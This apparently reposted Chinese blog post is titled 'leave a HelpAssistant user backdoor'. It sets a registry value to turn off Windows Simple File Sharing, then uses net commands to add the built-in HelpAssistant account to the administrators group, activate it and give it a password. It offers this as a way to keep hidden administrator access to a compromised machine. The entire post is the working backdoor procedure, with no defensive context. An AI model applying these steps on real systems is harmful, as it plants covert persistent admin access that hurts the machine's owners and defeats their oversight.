//去掉简单文件共享
[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Lsa]
"forceguest"=dword:00000000
C:\>net user
User accounts for \\xx
-------------------------------------------------------------------------------
Administrator Guest
HelpAssistant SUPPORT_388945a0
The command completed successfully.
C:\>net localgroup administrators HelpAssistant /add
The command completed successfully.
C:\>net user HelpAssistant /active:yes
The command completed successfully.
C:\>net user HelpAssistant xxx
The command completed successfully.
转载请注明：exchen's blog » 留个HelpAssistant用户后门